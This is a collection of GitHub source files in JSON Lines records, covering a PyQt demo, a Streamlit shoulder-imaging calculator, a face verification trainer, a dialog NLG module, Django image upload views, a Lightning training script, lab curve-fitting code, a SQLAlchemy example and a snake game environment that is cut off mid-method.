self.obj.setObjectName(\"hello2\")\n # # self.obj.objectNameChanged.connect(obj_name_cao)\n # # 临时阻断\n # self.obj.blockSignals(1)\n # print(self.obj.signalsBlocked(), \"disconnect\")\n # self.obj.setObjectName(\"hello3\")\n\n\n\nif __name__ == '__main__':\n import sys\n app = QApplication(sys.argv)\n window = Window()\n window.show()\n sys.exit(app.exec_())","repo_name":"02605/PyQt5","sub_path":"04-信号与槽.py","file_name":"04-信号与槽.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"44340200069","text":"import streamlit as st\nfrom datetime import datetime\n\nimport random\n\n# def step_completed(func):\n# def wrapper(*args, **kwargs):\n# result = func(*args, **kwargs)\n# messages = ['Completed!', 'Well done!', '10/10', \"Let's go!\", \"Top 1 percentile!\", \"You inspire us!\", \"OK, go off!\", \"Superb!\", \"Nicely done!\", \"Show 'em how it's done!\", \"100%!\"]\n# emojis = ['🎉', '👏', '💯', '🚀', '🔥', '🌟', '💪', '🎯', '🏆', '🥇']\n# st.toast(random.choice(messages), icon=random.choice(emojis))\n# return result\n# return wrapper\n\ndef step_completed(func):\n def wrapper(*args, **kwargs):\n result = func(*args, **kwargs)\n messages = ['Completed!']\n emojis = ['✅']\n st.toast(random.choice(messages), icon=random.choice(emojis))\n return result\n return wrapper\n\nclass GlenoidTrackAssessment:\n def __init__(self, D=0, d=0, HSI=0):\n self.D = D # glenoid joint face diameter\n self.d = d # maximum diametric width of glenoid rim defect\n self.HSI = HSI # Humeral Side Injury\n\n def calculate_GTW(self):\n return (0.83 * self.D) - self.d\n\n @step_completed\n def determine_tracking_status(self, GTW):\n if self.HSI > GTW:\n return \"off track\"\n else:\n return \"on track\"\n @step_completed\n def produce_radiology_report(self, GTW):\n report = f\"\"\"Glenoid Diameter: {self.D}\\n\\nGlenoid Rim Defect: {self.d}\\n\\nGTW: {GTW}\\n\\nGTW Formula Used: GTW = (0.83 x D) - d\\n\\nHSI: {self.HSI}\\n\\nHSL Tracking Status: {self.determine_tracking_status(GTW)}\n \"\"\"\n return report\n\ndef run():\n # Streamlit app\n st.title(\"Glenoid Track Assessment\")\n\n # Add 'Home' to the navigation options\n nav_selection = st.sidebar.radio('Glenoid Track Assessment', ['Start Here', 'Step 1: Identify bipolar bone lesions', 'Step 2: Calculate GTW', 'Step 3: Measure HSI', 'Step 4: Determine tracking status of HSL', 'Generate Report'])\n if nav_selection == 'Start Here':\n st.write(\"### Objectives\")\n st.write(\"\"\"1. Guided Assessment of Anterior Shoulder Dislocation: The app provides a systematic and simplified step-by-step approach to identify bipolar bone lesions, calculate the Glenoid Track Width (GTW), and measure the Humeral Side Injury (HSI) as shown in Aydıngöz, et al. 2023. Radiographics.\\n\\n2. Determination and Reporting of HSL Tracking Status: Through user input and subsequent calculations, the app determines the tracking status of the Hill-Sachs lesion (HSL) as either \"on track\" or \"off track,\" generating a brief radiology report that can be downloaded for documentation and sharing.\"\"\")\n elif nav_selection == 'Step 1: Identify bipolar bone lesions':\n st.write(\"### Step 1: Identify bipolar bone lesions at CT or ZTE MRI\")\n st.write(\"\"\"Sometimes only HSL is present without any discernible glenoid rim defect. If HSL is sufficiently medial, it can still be off track (engage an intact glenoid rim).\"\"\")\n elif nav_selection == 'Step 2: Calculate GTW':\n st.write(\"### Step 2: Calculate GTW\")\n st.write(\"\"\"Place the best-fit circle on the lower two-thirds of pear-shaped glenoid on the glenoid en face view at MPR CT or ZTE MRI.\"\"\")\n D = st.number_input(\"Enter glenoid joint face diameter (D):\", value=0.0)\n st.session_state['D'] = D\n d = st.number_input(\"Enter maximum diametric width of glenoid rim defect (d):\", value=0.0)\n st.session_state['d'] = d\n st.write(\"\"\"Ascertain glenoid rim defect size by identifying the deepest extent of glenoid rim defect on imaginary concentric circles within the best-fit circle.\"\"\")\n elif nav_selection == 'Step 3: Measure HSI':\n if 'D' not in st.session_state:\n st.error(\"Please complete Step 2 before proceeding.\")\n return\n if 'd' not in st.session_state:\n st.error(\"Please complete Step 2 before proceeding.\")\n return\n st.write(\"### Step 3: Measure HSI using MPR tool and cross-referencing on multiple images\")\n st.write(\"\"\"Identify the medialmost extent of HSL with respect to the dome of the humeral head. HSI is the shortest distance from this point to the medial edge of the rotator cuff footprint.\"\"\")\n HSI = st.number_input(\"Enter Humeral Side Injury measurement (HSI):\", value=0.0)\n st.session_state['HSI'] = HSI\n elif nav_selection == 'Step 4: Determine tracking status of HSL':\n if 'HSI' not in st.session_state:\n st.error(\"Please complete Step 3 before proceeding.\")\n return\n st.write(\"### Step 4: Determine tracking status of HSL\")\n assessment = GlenoidTrackAssessment(st.session_state['D'], st.session_state['d'], st.session_state['HSI'])\n GTW = assessment.calculate_GTW()\n st.session_state['GTW'] = GTW\n status = assessment.determine_tracking_status(GTW)\n st.session_state['status'] = status\n st.session_state['assessment'] = assessment # Save assessment to session state\n st.write(f\"The HSL is {status}.\")\n # Display the status inside a makeshift box using markdown\n st.markdown(f\"\"\"

The HSL is {status}.

\"\"\", unsafe_allow_html=True)\n elif nav_selection == 'Generate Report':\n if 'status' not in st.session_state or 'assessment' not in st.session_state:\n st.error(\"Please complete Step 4 before proceeding.\")\n return\n st.write(\"### Step 5: Radiology Report\")\n report = st.session_state['assessment'].produce_radiology_report(st.session_state['GTW']) # Use assessment from session state\n st.session_state['report'] = report\n st.text_area(\"Report\", report, height=400) # Display the report in a text area\n # Create the filename with current date and time\n current_time = datetime.now().strftime(\"%Y%m%d_%H%M%S\")\n filename = f\"Radiology_Report_{current_time}.txt\"\n st.session_state['filename'] = filename\n else:\n st.write(\"Please select an option from the sidebar.\")\n\n# if __name__ == '__main__':\n# run()","repo_name":"eriosta/radcalc","sub_path":"msk/glenoid.py","file_name":"glenoid.py","file_ext":"py","file_size_in_byte":6284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18706450169","text":"#!/usr/bin/env python3\n\"\"\"TrainModel class\"\"\"\n\n\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.layers import Input\nimport tensorflow.keras as K\nimport tensorflow.keras.backend as backend\nfrom triplet_loss import TripletLoss\n\n\nclass TrainModel():\n \"\"\"TrainModel class\"\"\"\n\n def __init__(self, model_path, alpha):\n \"\"\"\n Class constructor\n\n Args:\n model_path: path to the base face verification embedding model\n alpha: alpha to use for the triplet loss calculation\n\n Creates new model.\n\n \"\"\"\n target_shape = (None, None)\n with tf.keras.utils.CustomObjectScope({'tf': tf}):\n self.base_model = K.models.load_model(model_path)\n anchor_input = Input(name=\"input_1\", shape=target_shape + (3,))\n positive_input = Input(name=\"input_2\", shape=target_shape + (3,))\n negative_input = Input(name=\"input_3\", shape=target_shape + (3,))\n distances = TripletLoss(alpha)([\n self.base_model(anchor_input), self.base_model(positive_input),\n self.base_model(negative_input)\n ])\n self.training_model = K.Model(\n inputs=[anchor_input, positive_input, negative_input],\n outputs=distances\n )\n self.training_model.compile(optimizer=\"adam\")\n\n def train(self, triplets, epochs=5, batch_size=32,\n validation_split=0.3, verbose=True):\n \"\"\"Training Method\"\"\"\n print(triplets[0].shape)\n history = self.training_model.fit(\n triplets, epochs=epochs, batch_size=batch_size,\n validation_split=validation_split, verbose=verbose\n )\n return history\n\n def save(self, save_path):\n \"\"\"Saves mode to save_path\"\"\"\n self.base_model.save(save_path)\n return self.base_model\n\n @staticmethod\n def f1_score(y_true, y_pred):\n \"\"\"\n Calculates F1 score:\n 2*((precision*recall)/(precision+recall))\n\n Args:\n y_true: numpy.ndarray of shape (m,) -\n containing the correct labels\n m: number of examples\n y_pred: numpy.ndarray of shape (m,) -\n containing the predicted labels\n\n Return:\n F1_score\n \"\"\"\n\n y_true = tf.convert_to_tensor(value=y_true, dtype='float32')\n y_pred = tf.convert_to_tensor(value=y_pred, dtype='float32')\n\n true_positives = backend.sum(backend.clip(y_true * y_pred, 0, 1))\n possible_positives = backend.sum(backend.clip(y_true, 0, 1))\n recall = true_positives / (possible_positives + backend.epsilon())\n\n true_positives = backend.sum(backend.clip(y_true * y_pred, 0, 1))\n predicted_positives = backend.sum(backend.clip(y_pred, 0, 1))\n precision = true_positives / (predicted_positives + backend.epsilon())\n\n F1_score = 2*((precision*recall)/(precision+recall))\n\n return tf.Session().run(F1_score)\n\n @staticmethod\n def accuracy(y_true, y_pred):\n \"\"\"\n Calculates Accuracy\n\n Args:\n y_true: numpy.ndarray of shape (m,) -\n containing the correct labels\n m: number of examples\n y_pred: numpy.ndarray of shape (m,) -\n containing the predicted labels\n\n Return:\n Accuracy\n \"\"\"\n\n accuracy = sum(map(\n lambda x, y: x == y, y_true, y_pred\n ))/sum(y_true)\n return accuracy\n\n def best_tau(self, images, identities, thresholds):\n \"\"\"\n Calculates the best tau to use for a maximal F1 score.\n \"\"\"\n pass\n","repo_name":"AnthonyArmour/holbertonschool-machine_learning","sub_path":"supervised_learning/0x01-face_verification/train_model.py","file_name":"train_model.py","file_ext":"py","file_size_in_byte":3657,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"34114143401","text":"# -*- coding: utf-8 -*-\n\"\"\"NLG Module.\"\"\"\n\nimport os\nimport random\nimport yaml\nfrom yaml import Loader\nfrom ..common.system_action import SystemAction\nfrom ..common.dialog_state import DialogState\nfrom ..common.component import Component\nfrom .ext_sysact import load_ext\n\n\nclass NaturalLanguageGenerator(Component):\n \"\"\"NLG Module.\"\"\"\n\n def __init__(self, outside_function={}):\n \"\"\"Init NLG.\"\"\"\n self.intent_list = []\n self.slot_list = []\n self.mapping = {}\n self.outside_function = outside_function\n\n def fit(self, data_path):\n \"\"\"Fit the model.\"\"\"\n assert os.path.exists(data_path)\n data = {}\n # for dirname, _, names in os.walk(data_path):\n # names = [x for x in names if x.lower().endswith('.yml')]\n # for name in names:\n # path = os.path.join(dirname, name)\n obj = yaml.load(open(data_path), Loader=Loader)\n assert 'nlg' in obj\n for item in obj.get('nlg'):\n assert 'sysact' in item\n assert 'response' in item\n k, v = item.get('sysact'), item.get('response')\n assert k not in data\n if v == 'ext':\n data[k] = ('func', k)\n else:\n data[k] = v\n self.mapping = data\n self.intent_list = sorted(data.keys())\n assert 'None' in self.mapping, \\\n '应该有一个名为None的intent在NLG中,为了响应未知情况'\n\n def forward(self, state: DialogState, sys_action: SystemAction) -> str:\n \"\"\"Predict.\"\"\"\n assert (\n sys_action.intent is None\n or sys_action.intent in self.mapping\n ), 'sys_action {} not exists in mapping'.format(sys_action.intent)\n if sys_action.intent is None:\n response = self.mapping['None']\n else:\n response = self.mapping[sys_action.intent]\n if isinstance(response, list):\n utterance = random.choice(response)\n elif isinstance(response, tuple) \\\n and len(response) == 2 and response[0] == 'func':\n func = load_ext(response[1])\n utterance = func(state)\n # utterance = self.outside_function[response[1]](state)\n elif isinstance(response, str):\n utterance = response\n else:\n raise RuntimeError('Invalid response')\n return utterance\n","repo_name":"deepdialog/deepdialog","sub_path":"deepdialog/nlg/nlg.py","file_name":"nlg.py","file_ext":"py","file_size_in_byte":2405,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"75"} +{"seq_id":"27700489380","text":"import json\n\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.db.models import get_model\nfrom django.http import (HttpResponse, HttpResponseNotFound,\n HttpResponseBadRequest, HttpResponseForbidden)\nfrom django.views.decorators.clickjacking import xframe_options_sameorigin\nfrom django.views.decorators.http import require_POST\n\nfrom tower import ugettext as _\n\nfrom kitsune.access.decorators import login_required\nfrom kitsune.upload.models import ImageAttachment\nfrom kitsune.upload.utils import upload_imageattachment, FileTooLargeError\n\n\nALLOWED_MODELS = ['questions.Question', 'questions.Answer']\n\n\n@login_required\n@require_POST\n@xframe_options_sameorigin\ndef up_image_async(request, model_name, object_pk):\n \"\"\"Upload all images in request.FILES.\"\"\"\n\n # Verify the model agaist our white-list\n if model_name not in ALLOWED_MODELS:\n message = _('Model not allowed.')\n return HttpResponseBadRequest(\n json.dumps({'status': 'error', 'message': message}))\n\n # Get the model\n m = get_model(*model_name.split('.'))\n\n # Then look up the object by pk\n try:\n obj = m.objects.get(pk=object_pk)\n except ObjectDoesNotExist:\n message = _('Object does not exist.')\n return HttpResponseNotFound(\n json.dumps({'status': 'error', 'message': message}))\n\n try:\n file_info = upload_imageattachment(request, obj)\n except FileTooLargeError as e:\n return HttpResponseBadRequest(\n json.dumps({'status': 'error', 'message': e.args[0]}))\n\n if isinstance(file_info, dict) and 'thumbnail_url' in file_info:\n return HttpResponse(\n json.dumps({'status': 'success', 'file': file_info}))\n\n message = _('Invalid or no image received.')\n return HttpResponseBadRequest(\n json.dumps({'status': 'error', 'message': message,\n 'errors': file_info}))\n\n\n@require_POST\n@xframe_options_sameorigin\ndef del_image_async(request, image_id):\n \"\"\"Delete an image given its object id.\"\"\"\n user = request.user\n if not user.is_authenticated():\n message = _('You are not logged in.')\n return HttpResponseForbidden(\n json.dumps({'status': 'error', 'message': message}))\n\n try:\n image = ImageAttachment.objects.get(pk=image_id)\n except ImageAttachment.DoesNotExist:\n message = _('The requested image could not be found.')\n return HttpResponseNotFound(\n json.dumps({'status': 'error', 'message': message}))\n\n if not ((user == image.creator) or\n (user.has_perm('upload.delete_imageattachment'))):\n message = _('You do not have permission to do that.')\n return HttpResponseForbidden(\n json.dumps({'status': 'error', 'message': message}))\n\n image.file.delete()\n if image.thumbnail:\n image.thumbnail.delete()\n image.delete()\n\n return HttpResponse(json.dumps({'status': 'success'}))\n","repo_name":"feer56/Kitsune1","sub_path":"kitsune/upload/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"15022828879","text":"from datetime import timedelta\nimport glob\nimport os\nimport random\nimport numpy as np\nimport pytorch_lightning as pt\nimport torch\nfrom pytorch_lightning.callbacks import ModelCheckpoint, LearningRateMonitor\nfrom pytorch_lightning.loggers import TensorBoardLogger\n\nfrom ERLAS.aurguments import create_argument_parser\nfrom ERLAS.model.lightning_trainer import LightningTrainer\n\ntorch.backends.cuda.matmul.allow_tf32 = True\n\n\ndef main(params):\n # set random seeds reproducibility\n random.seed(params.random_seed)\n np.random.seed(params.random_seed)\n torch.manual_seed(params.random_seed)\n torch.cuda.manual_seed(params.random_seed)\n\n # weirdness with HuggingFace tokenizer when processing things in parallel\n os.environ[\"TOKENIZERS_PARALLELISM\"] = \"false\"\n torch.multiprocessing.set_sharing_strategy('file_system')\n\n # create experiment_dir and load model\n experiment_dir = os.path.join(params.output_path, params.experiment_id)\n model = LightningTrainer(params)\n\n checkpoint_callback = ModelCheckpoint(\n dirpath=os.path.join(experiment_dir, params.version, 'checkpoints'),\n filename=\"step={step}\",\n auto_insert_metric_name=False,\n monitor=None,\n save_top_k=-1,\n every_n_epochs=1,\n )\n\n # load checkpoint if necessary\n resume_from_checkpoint = None\n if params.load_checkpoint != None:\n # get the latest checkpoint\n resume_from_checkpoint = params.load_checkpoint\n print(f\"Checkpoint: {resume_from_checkpoint}\")\n\n checkpoint = torch.load(resume_from_checkpoint, map_location=torch.device('cpu'))\n model.load_state_dict(checkpoint['state_dict'], strict=False)\n\n logger = TensorBoardLogger(experiment_dir, version=params.version)\n lr_logger = LearningRateMonitor(logging_interval='step')\n if params.do_learn:\n model.train_dataloader()\n trainer = pt.Trainer(default_root_dir=experiment_dir, \n max_epochs=params.num_epoch,\n logger=logger,\n enable_checkpointing=True,\n accelerator='gpu', \n devices=params.gpus,\n strategy='ddp_find_unused_parameters_true' if params.gpus > 1 else 'auto',\n precision=params.precision,\n reload_dataloaders_every_n_epochs=1,\n callbacks = [checkpoint_callback, lr_logger,],)\n trainer.fit(model)\n if params.evaluate:\n trainer = pt.Trainer(default_root_dir=experiment_dir, \n logger=logger,\n enable_checkpointing=True,\n accelerator='gpu', \n devices=[params.gpus],\n strategy='auto',\n precision=params.precision,\n callbacks = [checkpoint_callback, lr_logger,],)\n trainer.test(model)\n\nif __name__ == \"__main__\":\n params = create_argument_parser()\n main(params)\n","repo_name":"ManHieu/ERLAS","sub_path":"ERLAS/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"18670057163","text":"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport csv\nfrom scipy.optimize import curve_fit\n\n\ndef read_csv(file_name):\n with open(file_name) as file:\n reader = list(csv.reader(file, delimiter=';',\n quotechar=',', quoting=csv.QUOTE_MINIMAL))\n return reader\n\n\ndef make_latex_table(data):\n table = []\n table.append(\"\\\\begin{table}\".replace('//', '\\\\'))\n table.append(\"\\label{}\".replace('/', '\\\\'))\n table.append('\\caption{}'.replace('/', '\\\\'))\n leng = len(data[0])\n stroka = 'c'.join(['|' for _ in range(leng+1)])\n table.append('\\\\begin{tabular}{'.replace('//', '\\\\')+stroka+'}')\n table.append('\\hline')\n for i in range(len(data)):\n table.append(' & '.join(data[i]) + ' \\\\\\\\')\n table.append('\\hline')\n table.append(\"\\end{tabular}\".replace('/', '\\\\'))\n table.append(\"\\end{table}\".replace('/', '\\\\'))\n return table\n\n\ndef make_point_grafic(x, y, xlabel, ylabel, caption, xerr, yerr,\n subplot=None, color=None, center=None, s=15):\n if not subplot:\n subplot = plt\n if type(yerr) == float or type(yerr) == int:\n yerr = [yerr for _ in y]\n if type(xerr) == float or type(xerr) == int:\n xerr = [xerr for _ in x]\n\n if xerr[1] != 0 or yerr[1] != 0:\n subplot.errorbar(x, y, yerr=yerr, xerr=xerr, linewidth=4,\n linestyle='', label=caption, color=color,\n ecolor=color, elinewidth=1, capsize=3.4,\n capthick=1.4)\n else:\n subplot.scatter(x, y, linewidth=0.005, label=caption,\n color=color, edgecolor='black', s=s)\n # ax = plt.subplots()\n # ax.grid())\n if not center:\n plt.xlabel(xlabel)\n plt.ylabel(ylabel)\n else:\n ax = plt.gca()\n ax.spines['top'].set_visible(False)\n ax.spines['right'].set_visible(False)\n ax.spines['bottom'].set_position('zero')\n ax.spines['left'].set_position('zero')\n ax.set_xlabel(ylabel, labelpad=-180, fontsize=14) # +\n ax.set_ylabel(xlabel, labelpad=-260, rotation=0, fontsize=14)\n\n\ndef make_line_grafic(xmin, xmax, xerr, yerr, xlabel, ylabel, k, b, caption,\n subplot=None, color=None, linestyle='-'):\n if not subplot:\n subplot = plt\n x = np.arange(xmin, xmax, (xmax-xmin)/10000)\n subplot.plot(x, k*x+b, label=caption, color=color, linewidth=2.4,\n linestyle=linestyle)\n\n\ndef make_graffic(x, y, xlabel, ylabel, caption_point, xerr, yerr, k=None,\n b=None, filename=None, color=None, koef=[0.9, 1.1]):\n if not color:\n color = ['limegreen', 'indigo']\n make_point_grafic(x, y, xlabel=xlabel,\n ylabel=ylabel, caption=caption_point,\n xerr=xerr, yerr=yerr, subplot=plt, color=color[0])\n if k and b:\n make_line_grafic(xmin=min(x)-1, xmax=max(x)+1, xerr=xerr, yerr=yerr,\n xlabel='', ylabel='', k=k, b=b,\n caption='Theoretical dependence', subplot=plt,\n color='red')\n if type(yerr) == float or type(yerr) == int:\n yerr = [yerr for _ in y]\n k, b, sigma = approx(x, y, b, yerr)\n sigma[0] = abs(k*((sigma[0]/k)**2+(np.mean(yerr)/np.mean(y))**2 +\n (np.mean(xerr)/np.mean(x))**2)**0.5)\n if (b != 0):\n sigma[1] = abs(b*((sigma[1]/b)**2+(np.mean(yerr)/np.mean(y))**2 +\n (np.mean(xerr)/np.mean(x))**2)**0.5)\n else:\n sigma[1] = 0\n\n make_line_grafic(xmin=min(x)*koef[0], xmax=max(x)*koef[1], xerr=xerr,\n yerr=yerr, xlabel='', ylabel='', k=k, b=b, caption=None,\n subplot=plt, color=color[1])\n plt.legend()\n return k, b, sigma\n\n\ndef approx(x, y, b, sigma_y, f=None):\n if sigma_y[0] != 0:\n sigma_y = [1/i**2 for i in sigma_y]\n else:\n sigma_y = np.array([1 for _ in y])\n if f is None:\n if b == 0:\n def f(x, k):\n return k*x\n k, sigma = curve_fit(f, xdata=x, ydata=y, sigma=sigma_y)\n sigma = np.sqrt(np.diag(sigma))\n return k, b, [sigma, 0]\n else:\n def f(x, k, b):\n return x*k + b\n k, sigma = curve_fit(f, xdata=x, ydata=y, sigma=sigma_y)\n sigma_b = np.sqrt(sigma[1][1])\n b = k[1]\n k = k[0]\n sigma = np.sqrt(sigma[0][0])\n\n return k, b, [sigma, sigma_b]\n else:\n k, sigma = curve_fit(f, xdata=x, ydata=y, sigma=sigma_y)\n sigma = np.sqrt(np.diag(sigma))\n b = k[1]\n k = k[0]\n return k, b, sigma\n\n\ndef find_delivation(data):\n data = np.array(data).astype(np.float)\n s = sum(data)/len(data)\n su = 0\n for i in data:\n su += (i-s)**2\n return (su/(len(data)-1))**0.5\n\n\ndef make_dic(filename):\n data = np.array(read_csv(filename))\n data = np.transpose(data)\n dic = {}\n for i in range(len(data)):\n dic[data[i][0]] = np.array(data[i][1:]).astype(np.float)\n data = dic\n return data\n\n\ndef make_fun(A0, T):\n def f(t, k, b):\n return A0/(1+A0*b*t)-k*0*A0*t/T\n return f\n\n\ndef make_fun_grafic(xmin, xmax, xerr, yerr, xlabel, ylabel, f, k, b, caption,\n subplot=None, color=None):\n if not subplot:\n subplot = plt\n x = np.arange(xmin, xmax, (xmax-xmin)/10000)\n subplot.plot(x, f(x, k, b), label=caption, color=color)\n \n \n \n \ndata = make_dic(\"discrete.csv\")\ndata['d'] = (data['d1']+data['d2']+data['d3']+data['d4'])/4\n \nplt.figure(dpi=500, figsize=(8, 5))\nmake_point_grafic(data['n'], data['d'], xlabel='Number of tests', \n ylabel='Probability', caption='', \n xerr=0, yerr=0, s=3)\nplt.plot(data['n'], [1/2001 for _ in data['n']], color='red')\nplt.savefig('discrete')\nplt.show()\n\n \ndata = make_dic(\"segment.csv\")\ndata['d'] = (data['d1']+data['d2']+data['d3']+data['d4'])/4\ndata1 = make_dic(\"all.csv\")\ndata1['d'] = (data1['d1']+data1['d2']+data1['d3']+data1['d4'])/4\nplt.figure(dpi=500, figsize=(8, 5))\nmake_point_grafic(data['n'], data['d'], xlabel='n', ylabel='P', caption='', \n xerr=0, yerr=0, s=3)\nmake_point_grafic(data1['n'][13:], data1['d'][13:], xlabel='Number of tests', \n ylabel='Probability', caption='', xerr=0, yerr=0, s=3, \n color='green')\nplt.plot(data['n'][1:], [101/2001 for _ in data['n']][1:], color='red')\nplt.savefig('segment')\nplt.show()\n","repo_name":"nazanna/MIPT_CPP","sub_path":"laba3.py","file_name":"laba3.py","file_ext":"py","file_size_in_byte":6509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73792131761","text":"from sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker,relationship\nimport sqlalchemy as sa\nimport datetime as dt\n\ndata= { \"Latkrabang\": {\"latitude\":13.730156,\"longitude\":100.779966, \"contact\":\"john.cl@silly-walk.gov\"},\n \"Khon Khaen\": {\"latitude\":16.439039,\"longitude\":102.827537, \"contact\":\"eric.id@nudge-nudge.net\"},\n \"Chiang Mai\": {\"latitude\":18.762921,\"longitude\":98.994452, \"contact\":\"michael.pa@spanish-inquisition.org\"},\n \"Phuket\": {\"latitude\":7.988232, \"longitude\":98.425437, \"contact\":\"graham.ch@brian.info\"},\n \"Pattaya\": {\"latitude\":12.925610,\"longitude\":100.871945, \"contact\":\"terry.jo@nudepianist.xxx\"},\n \"Samui\": {\"latitude\":9.444260, \"longitude\":100.022984, \"contact\":\"terry.gi@gumby.gov\"},\n \"Phan Ngan\": {\"latitude\":9.771981, \"longitude\":99.966143, \"contact\":\"carol.cl@comeupstair.co.uk\"}}\n \neng=sa.create_engine(\"sqlite:///:memory:\")\nBase=declarative_base()\n\nclass Station(Base):\n __tablename__='station'\n id = sa.Column(sa.Integer, sa.Sequence(\"station_id_seq\"), primary_key=True)\n name = sa.Column( sa.String(32), unique=True )\n contact = sa.Column( sa.String(64), nullable=False )\n latitude = sa.Column( sa.Float, nullable=False )\n longitude = sa.Column( sa.Float, nullable=False )\n \n measurements = relationship(\"Measurement\", order_by=\"Measurement.date\", backref=\"station\")\n \n def __repr__(self):\n if self.latitude>=0:\n latstr=\"%.3f° north, \"%self.latitude\n else:\n latstr=\"%.3f° south,\"%(0.0-self.latitude)\n if self.longitude>=0:\n lonstr=\"%.3f° east \"%self.longitude\n else:\n lonstr=\"%.3f° west \"%(0.0-self.longitude)\n resu=self.name+\" at \"+latstr+lonstr+\"managed by \"+self.contact\n for x in self.measurements:\n resu+=\"\\n\\t\"+str(x)\n return resu\n\nclass Measurement(Base):\n __tablename__='measurement'\n id = sa.Column( sa.Integer, sa.Sequence(\"meas_id_seq\"), primary_key=True )\n station_id = sa.Column( None, sa.ForeignKey('station.id') )\n value = sa.Column( sa.Float )\n units = sa.Column( sa.String(8) )\n date = sa.Column( sa.DateTime )\n \n def __repr__(self):\n return \"%.2f %s on %s\" % (self.value, self.units, self.date.strftime(\"%B %d, %Y at %H:%m\"))\n\n\nBase.metadata.create_all(eng)\n\nSession = sessionmaker(bind=eng)\nsess=Session()\n\nfor st in [ {**data[x],**{\"name\":x}} for x in data ]:\n ast=Station(**st)\n sess.add(ast)\n\nsess.commit()\nprint (\"==========\\nAll stations\\n==========\")\nfor x in sess.query(Station).all():\n print(x)\n \nprint (\"==========\\nPhuket stations\\n==========\")\nast=sess.query(Station).filter_by(name=\"Phuket\").one()\nprint(ast)\n\nprint (\"==========\\nNobody expects the Spanish Inquisition\\n==========\")\nast=sess.query(Station).filter(Station.latitude>18).one()\nprint(ast)\n\nmeas=Measurement(value=32,units=\"mm\",date=dt.datetime.strptime(\"1969-10-05 22:15:00\",\"%Y-%m-%d %H:%M:%S\"))\nast.measurements.append(meas)\nmeas=Measurement(value=12,units=\"mm\",date=dt.datetime.strptime(\"1970-01-11 22:15:00\",\"%Y-%m-%d %H:%M:%S\"))\nast.measurements.append(meas)\n\nsess.commit()\nprint (\"==========\\nStill nobody expects the Spanish Inquisition\\n==========\")\nast=sess.query(Station).filter(Station.latitude>18).one()\nprint(ast)\n\n\n","repo_name":"frawau/SQLAlchemy-Examples","sub_path":"create-with classes.py","file_name":"create-with classes.py","file_ext":"py","file_size_in_byte":3338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71260060083","text":"from threading import Timer\nfrom time import sleep\nfrom tkinter import *\nfrom random import randint\nimport math\n\nclass SnakeEnv : \n def __init__(self,sizeX,sizeY,snakes):\n self.sizeX = sizeX -1\n self.sizeY = sizeY -1\n self.squareSize = 20\n self.XGridSize = sizeX * self.squareSize\n self.YGridSize = sizeY * self.squareSize\n self.snakes = snakes\n self.done = False\n self.refreshApple = False\n self._spawnApple()\n \n def reset(self):\n if hasattr(self,'root') :\n self.root.destroy()\n del self.root\n for snake in self.snakes :\n snake.reset()\n sleep(1)\n self.__init__(self.sizeX+1,self.sizeY+1,self.snakes)\n return [self._getObservation(snake) for snake in self.snakes]\n \n def step(self,actions):\n #Applying actions\n for snake in self.snakes :\n for action in actions : \n if(snake.id == action.id) :\n snake.step(action.direction)\n rewards = []\n for snake in self.snakes :\n # Checking apple\n if(snake.x == self.appleX and snake.y == self.appleY) :\n snake.grow()\n self.refreshApple = True\n self._spawnApple()\n rewards.append(self._getAppleReward(snake))\n \n if(self._isColliding(snake.x,snake.y)) :\n self.done |= True\n rewards.append(self._getCollisionReward(snake))\n else :\n rewards.append(self._getOtherReward(snake))\n observations = [self._getObservation(snake) for snake in self.snakes]\n return observations,rewards,self.done, {}\n \n \n def render(self):\n if not(hasattr(self,'root')) :\n self._displayWindow()\n sleep(1)\n else :\n for snake in self.snakes :\n self._refreshSnake(snake)\n self.canvas.itemconfig('score_'+snake.id,text=str(snake.score))\n if(self.refreshApple) :\n self._refreshApple()\n self.refreshApple = False\n self.canvas.tag_raise('score')\n self.root.update_idletasks()\n self.root.update()\n \n def _getAppleReward(self,snake) :\n return 15\n \n def _getCollisionReward(self,snake) :\n return -30\n \n def _getOtherReward(self,snake) :\n return 1 if (self._distanceFrom(snake.lastPosition.x,snake.lastPosition.y,self.appleX,self.appleY)>self._distanceFrom(snake.x,snake.y,self.appleX,self.appleY)) else -3\n \n \n def _getObservation(self,snake) :\n\n directions = {'UP': (0, -1), 'DOWN': (0, 1), 'LEFT': (-1, 0), 'RIGHT': (1, 0)}\n leftBinding = {'UP': 'LEFT', 'DOWN': 'RIGHT', 'LEFT': 'DOWN', 'RIGHT': 'UP'}\n rightBinding = {'UP': 'RIGHT', 'DOWN': 'LEFT', 'LEFT': 'UP', 'RIGHT': 'DOWN'}\n \n x,y = snake.x,snake.y\n dx,dy = directions[snake.direction]\n lx,ly = directions[leftBinding[snake.direction]]\n rx,ry = directions[rightBinding[snake.direction]]\n return [\n \n #danger to the left\n int(self._isColliding(x-dy,y+dx)),\n \n #danger forward\n int(self._isColliding(x+dx,y+dy)),\n\n #danger to the right\n int(self._isColliding(x+dy,y-dx)),\n\n #Apple is on left\n int(self._distanceFrom(x,y,self.appleX,self.appleY)>self._distanceFrom(x+lx,y+ly,self.appleX,self.appleY)),\n #Apple is forward\n int(self._distanceFrom(x,y,self.appleX,self.appleY)>self._distanceFrom(x+dx,y+dy,self.appleX,self.appleY)),\n #Apple is on right\n int(self._distanceFrom(x,y,self.appleX,self.appleY)>self._distanceFrom(x+rx,y+ry,self.appleX,self.appleY)),\n\n ]\n \n def _isColliding(self,x,y) :\n 